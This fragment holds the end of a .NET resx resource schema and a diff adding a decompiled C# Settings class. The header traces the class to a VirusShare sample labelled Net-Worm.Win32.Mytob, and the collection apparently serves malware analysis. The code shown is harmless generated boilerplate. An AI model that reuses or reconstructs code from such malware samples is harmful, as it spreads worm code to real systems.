<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: WolfFt.Properties.Settings
// Assembly: WolfFt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 510BEE3B-1B9B-4B2D-9942-86D11904E770
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace WolfFt.Properties
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
[CompilerGenerated]
internal sealed class Settings : ApplicationSettingsBase
{
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
public static Settings Default => Settings.defaultInstance;
}
}